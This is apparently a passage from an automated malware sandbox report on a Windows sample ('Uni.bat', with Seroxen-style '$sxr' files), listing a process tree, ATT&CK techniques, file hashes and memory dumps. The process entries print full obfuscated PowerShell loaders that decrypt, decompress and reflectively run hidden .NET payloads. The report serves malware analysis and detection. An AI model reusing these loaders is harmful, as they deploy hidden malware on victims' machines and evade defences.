        C:\Windows\SysWOW64\dllhost.exe /Processid:{95963645-f60b-44de-9296-21a490476e26}
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3612
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4996).WaitForExit();[System.Threading.Thread]::Sleep(5000); function hufeg($iDMxb){ $Elzpw=[System.Security.Cryptography.Aes]::Create(); $Elzpw.Mode=[System.Security.Cryptography.CipherMode]::CBC; $Elzpw.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $Elzpw.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk='); $Elzpw.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA=='); $wCTZr=$Elzpw.('rotpyrceDetaerC'[-1..-15] -join '')(); $YgtPo=$wCTZr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iDMxb, 0, $iDMxb.Length); $wCTZr.Dispose(); $Elzpw.Dispose(); $YgtPo;}function FJcTY($iDMxb){ $KHdof=New-Object System.IO.MemoryStream(,$iDMxb); $mdDGq=New-Object System.IO.MemoryStream; $PZsap=New-Object System.IO.Compression.GZipStream($KHdof, [IO.Compression.CompressionMode]::Decompress); $PZsap.CopyTo($mdDGq); $PZsap.Dispose(); $KHdof.Dispose(); $mdDGq.Dispose(); $mdDGq.ToArray();}function vUmWc($iDMxb,$PbTpW){ $YHPse=[System.Reflection.Assembly]::Load([byte[]]$iDMxb); $aMqIy=$YHPse.EntryPoint; $aMqIy.Invoke($null, $PbTpW);}$Elzpw1 = New-Object System.Security.Cryptography.AesManaged;$Elzpw1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Elzpw1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Elzpw1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk=');$Elzpw1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA==');$lkChZ = $Elzpw1.('rotpyrceDetaerC'[-1..-15] -join '')();$kveij = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('skxuT638mXYXO82tnMu4Nw==');$kveij = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij, 0, $kveij.Length);$kveij = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij);$uYwHJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7tPhtRoBPpmbD4jKqCrROmZ5ihpYMWVokvpj2Ng/Pz8=');$uYwHJ = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uYwHJ, 0, $uYwHJ.Length);$uYwHJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uYwHJ);$XPhKE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MN4dM3v9612JtLqaveCMYg==');$XPhKE = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XPhKE, 0, $XPhKE.Length);$XPhKE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XPhKE);$muibj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('omE0gz6POPNwhNmUAnPGH44LhwPPACLWik/KT0dk5wsKXAxtKag+L5FPGR5kaqhlGUck2HtfdRNBwrYMOEAetiGgAox0exmtDDnAYLadphZBvi4OP8B8BNL4k5y/z1AEr7oudmgyCQifH3aXxa/gUUa4xjDsSD2YTOub7PHlsdmqG91RSBUMJH4vfT2zptSsj0OSscQsY4xVPZ8OjeRKbzP+BjF+Uue1s9LcXQdrizsUEKJN4dY28g0skU19VzfudgJv7Qa+SS93YCgWa9n+oNhygZquca/xgmF4Z+su7WedF+8tBgUKzviRtdEdVgLq/OMSlirCLjvFnSHC2y9K1oTEEyD1mQB836kwPebOOTmBNH6vdn2bEQQYiF/vc3FItt5vYPuWyJGzUen95KOQjYu7YoPz/dFXDUgmI65vnuw=');$muibj = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($muibj, 0, $muibj.Length);$muibj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($muibj);$DHHcr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tYnkG6mWBgWnZf6oIR3L5A==');$DHHcr = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DHHcr, 0, $DHHcr.Length);$DHHcr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DHHcr);$EQNXr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5fF2zWzAZ0BefyD1XaGcLw==');$EQNXr = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EQNXr, 0, $EQNXr.Length);$EQNXr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EQNXr);$mYQZS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3I7S8iNpJjrn0k9Lgckneg==');$mYQZS = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mYQZS, 0, $mYQZS.Length);$mYQZS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mYQZS);$DbkFT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v8BsdeVWD9I78LbbRhRFrA==');$DbkFT = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DbkFT, 0, $DbkFT.Length);$DbkFT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DbkFT);$jgfOd = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OEFFbXtp5W2U1hAoq0CpPw==');$jgfOd = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jgfOd, 0, $jgfOd.Length);$jgfOd = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jgfOd);$kveij0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1+Vym/OwDnC1v1RFNGQ5MA==');$kveij0 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij0, 0, $kveij0.Length);$kveij0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij0);$kveij1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1UB7UYof3ztQu3+ei666DQ==');$kveij1 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij1, 0, $kveij1.Length);$kveij1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij1);$kveij2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9594UuKb/Z+/WVWczIhxbQ==');$kveij2 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij2, 0, $kveij2.Length);$kveij2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij2);$kveij3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lxkDZyakK1CM3mmPkfi6OQ==');$kveij3 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij3, 0, $kveij3.Length);$kveij3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij3);$lkChZ.Dispose();$Elzpw1.Dispose();if (@(get-process -ea silentlycontinue $kveij3).count -gt 1) {exit};$ebqGe = [Microsoft.Win32.Registry]::$DbkFT.$mYQZS($kveij).$EQNXr($uYwHJ);$SceND=[string[]]$ebqGe.Split('\');$sNXpr=FJcTY(hufeg([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($SceND[1])));vUmWc $sNXpr (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$GiWwX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($SceND[0]);$Elzpw = New-Object System.Security.Cryptography.AesManaged;$Elzpw.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Elzpw.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Elzpw.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk=');$Elzpw.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA==');$wCTZr = $Elzpw.('rotpyrceDetaerC'[-1..-15] -join '')();$GiWwX = $wCTZr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GiWwX, 0, $GiWwX.Length);$wCTZr.Dispose();$Elzpw.Dispose();$KHdof = New-Object System.IO.MemoryStream(, $GiWwX);$mdDGq = New-Object System.IO.MemoryStream;$PZsap = New-Object System.IO.Compression.GZipStream($KHdof, [IO.Compression.CompressionMode]::$kveij1);$PZsap.$jgfOd($mdDGq);$PZsap.Dispose();$KHdof.Dispose();$mdDGq.Dispose();$GiWwX = $mdDGq.ToArray();$cyNnW = $muibj | IEX;$YHPse = $cyNnW::$kveij2($GiWwX);$aMqIy = $YHPse.EntryPoint;$aMqIy.$kveij0($null, (, [string[]] ($XPhKE)))
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1144
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{e59bdc1a-1b81-4d7c-9ee1-3b814adbd219}
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1188

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1200

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1344

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1412

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1556
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1652

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1712

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1808

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1844

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1980

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2000

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1864

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:2176

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2196

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2600

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2820

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:2952

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2984

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:3004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:3024

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3212

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
PID:3600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4588
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4800
- - C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
    "Uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function agDFc($vCpVI){ $Qviqn=[System.Security.Cryptography.Aes]::Create(); $Qviqn.Mode=[System.Security.Cryptography.CipherMode]::CBC; $Qviqn.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $Qviqn.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eSyKXuxugFflvGlW9qE6Iqg8XcAom2v4/DjQoKKC570='); $Qviqn.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9iro50udEDaxZ/wkUff9RA=='); $FmMlx=$Qviqn.CreateDecryptor(); $return_var=$FmMlx.TransformFinalBlock($vCpVI, 0, $vCpVI.Length); $FmMlx.Dispose(); $Qviqn.Dispose(); $return_var;}function cZEYh($vCpVI){ $WLTiH=New-Object System.IO.MemoryStream(,$vCpVI); $KNxYU=New-Object System.IO.MemoryStream; $LOvEr=New-Object System.IO.Compression.GZipStream($WLTiH, [IO.Compression.CompressionMode]::Decompress); $LOvEr.CopyTo($KNxYU); $LOvEr.Dispose(); $WLTiH.Dispose(); $KNxYU.Dispose(); $KNxYU.ToArray();}function fELFD($vCpVI,$TXpag){ $fzHaG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$vCpVI); $UtByz=$fzHaG.EntryPoint; $UtByz.Invoke($null, $TXpag);}$QLGin=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($AkEcQ in $QLGin) { if ($AkEcQ.StartsWith('SEROXEN')) { $fJBxd=$AkEcQ.Substring(7); break; }}$CjuJm=[string[]]$fJBxd.Split('\');$hxBpb=cZEYh (agDFc ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($CjuJm[0])));$OyvxC=cZEYh (agDFc ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($CjuJm[1])));fELFD $OyvxC (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));fELFD $hxBpb (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2576
  - - C:\Windows\SysWOW64\dllhost.exe
      C:\Windows\SysWOW64\dllhost.exe /Processid:{c7aa280e-d2dd-4ae5-80d8-0dd39d189042}
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3736
  - - C:\Windows\SysWOW64\dllhost.exe
      C:\Windows\SysWOW64\dllhost.exe /Processid:{812c80d6-2395-4a40-9522-40fec6beb0b3}
      4⤵
      PID:676
- C:\Windows\regedit.exe
  "C:\Windows\regedit.exe"
  2⤵
  - Runs regedit.exe
  - Suspicious behavior: GetForegroundWindowSpam
  PID:2484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3740

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3924

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:1256

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4132

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4528

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4568

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:2616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:2992

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:4936

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4196

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4992

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2276

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:828

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:4016

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Enumerates system info in registry
PID:4536

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:1932

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:380

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:3292

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{7966B4D8-4FDC-4126-A10B-39A3209AD251}
1⤵
PID:1388

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:3696

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:3736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Uni.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_xsjpcpwv.if5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xsjpcpwv.if5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

$sxr-cmd.exe

Path C:\Windows\$sxr-cmd.exe
Size 283KB
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
SSDEEP 6144:k4WA1B9BxDfQWKORSqY4zOcmpdlc3gJdmtolSm:H1BhkWvSqY4zvmjOwJIT
MD5 SHA1 SHA512 SSDEEP

Submit Download

$sxr-mshta.exe

Path C:\Windows\$sxr-mshta.exe
Size 14KB
SHA256 dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
MD5 0b4340ed812dc82ce636c00fa5c9bef2
SHA1 51c97ebe601ef079b16bcd87af827b0be5283d96
SHA512 d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045
SSDEEP 192:Mp2bLg8CB95kCfjmRXKbpkSprJ6AdgxYsPvWw5aIR:MpMLgdrkCjm9KZJAXWw5
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/416-120-0x00007FFEA23D0000-0x00007FFEA23E0000-memory.dmp

Download

memory/416-119-0x000001E638B70000-0x000001E638B97000-memory.dmp

Download

memory/620-106-0x000001BF396E0000-0x000001BF39707000-memory.dmp

Download

memory/620-104-0x000001BF396B0000-0x000001BF396D2000-memory.dmp

Download

memory/620-114-0x00007FFEA23D0000-0x00007FFEA23E0000-memory.dmp

Download

memory/680-116-0x00007FFEA23D0000-0x00007FFEA23E0000-memory.dmp

Download

memory/680-107-0x000002855AE60000-0x000002855AE87000-memory.dmp

Download

memory/948-136-0x00007FFEA23D0000-0x00007FFEA23E0000-memory.dmp

Download

memory/948-118-0x00000263BFF20000-0x00000263BFF47000-memory.dmp

Download

memory/1020-112-0x00007FFEA23D0000-0x00007FFEA23E0000-memory.dmp

Download

memory/1020-110-0x0000022CE61A0000-0x0000022CE61C7000-memory.dmp

Download

memory/1036-128-0x00007FFEA23D0000-0x00007FFEA23E0000-memory.dmp

Download

memory/1036-127-0x0000022483560000-0x0000022483587000-memory.dmp

Download

memory/1056-131-0x00007FFEA23D0000-0x00007FFEA23E0000-memory.dmp

Download

memory/1056-130-0x000001786F910000-0x000001786F937000-memory.dmp

Download

memory/1180-134-0x00007FFEA23D0000-0x00007FFEA23E0000-memory.dmp

Download

memory/1180-133-0x000001526F990000-0x000001526F9B7000-memory.dmp

Download

memory/2576-22-0x0000025C54B00000-0x0000025C54BA6000-memory.dmp

Download

memory/2576-72-0x00007FFEC2B93000-0x00007FFEC2B95000-memory.dmp

Download

memory/2576-19-0x00007FFEE06C0000-0x00007FFEE077E000-memory.dmp

Download

memory/2576-24-0x0000025C54BB0000-0x0000025C54C06000-memory.dmp

Download

memory/2576-18-0x00007FFEE2350000-0x00007FFEE2545000-memory.dmp

Download

memory/2576-17-0x0000025C396A0000-0x0000025C396C4000-memory.dmp

Download

memory/2576-62-0x00007FFEC2B90000-0x00007FFEC3651000-memory.dmp

Download

memory/2576-25-0x0000025C54C10000-0x0000025C54C68000-memory.dmp

Download

memory/2576-20-0x0000025C540B0000-0x0000025C54B00000-memory.dmp

Download

memory/2576-23-0x00007FFEC2B90000-0x00007FFEC3651000-memory.dmp

Download

memory/2576-395-0x00007FFEC2B90000-0x00007FFEC3651000-memory.dmp

Download

memory/2576-4-0x00007FFEC2B93000-0x00007FFEC2B95000-memory.dmp

Download

memory/2576-29-0x0000025C53AF0000-0x0000025C53AFA000-memory.dmp

Download

memory/2576-16-0x00007FFEC2B90000-0x00007FFEC3651000-memory.dmp

Download

memory/2576-15-0x00007FFEC2B90000-0x00007FFEC3651000-memory.dmp

Download

memory/2576-27-0x00007FFEE2350000-0x00007FFEE2545000-memory.dmp

Download

memory/2576-14-0x0000025C53B00000-0x0000025C53B22000-memory.dmp

Download

memory/2576-26-0x0000025C396D0000-0x0000025C396F2000-memory.dmp

Download

memory/3088-96-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/3088-101-0x0000000000D20000-0x0000000000D3A000-memory.dmp

Download

memory/3088-99-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/3088-97-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/3736-33-0x0000000000400000-0x0000000000406000-memory.dmp

Download

memory/3736-35-0x0000000000400000-0x0000000000406000-memory.dmp

Download

memory/4116-95-0x00007FFEE06C0000-0x00007FFEE077E000-memory.dmp

Download

memory/4116-94-0x00007FFEE2350000-0x00007FFEE2545000-memory.dmp

Download

memory/4116-93-0x0000000140000000-0x0000000140028000-memory.dmp

Download

memory/4116-92-0x0000000140000000-0x0000000140028000-memory.dmp

Download

memory/4116-102-0x0000000140000000-0x0000000140028000-memory.dmp

Download

memory/4996-76-0x000002B0319C0000-0x000002B031A72000-memory.dmp

Download

memory/4996-91-0x000002B031940000-0x000002B031976000-memory.dmp

Download

memory/4996-89-0x00007FFEE2350000-0x00007FFEE2545000-memory.dmp

Download

memory/4996-90-0x00007FFEE06C0000-0x00007FFEE077E000-memory.dmp

Download

memory/4996-88-0x000002B031860000-0x000002B0318AE000-memory.dmp

Download

memory/4996-87-0x000002B031900000-0x000002B03193C000-memory.dmp

Download

memory/4996-77-0x000002B031C50000-0x000002B031E12000-memory.dmp

Download

memory/4996-75-0x000002B0318B0000-0x000002B031900000-memory.dmp

Download

memory/4996-66-0x00007FFEE2350000-0x00007FFEE2545000-memory.dmp

Download

memory/4996-65-0x000002B030710000-0x000002B030732000-memory.dmp

Download

memory/4996-64-0x000002B039FD0000-0x000002B03A082000-memory.dmp

Download

memory/4996-63-0x000002B039B90000-0x000002B039FCE000-memory.dmp

Download

memory/4996-61-0x000002B0393C0000-0x000002B039B8A000-memory.dmp

Download

memory/4996-60-0x000002B030960000-0x000002B030EE4000-memory.dmp

Download

memory/4996-59-0x00007FFEE06C0000-0x00007FFEE077E000-memory.dmp

Download

memory/4996-58-0x00007FFEE2350000-0x00007FFEE2545000-memory.dmp

Download

memory/5008-32-0x0000000140000000-0x0000000140004000-memory.dmp

Download

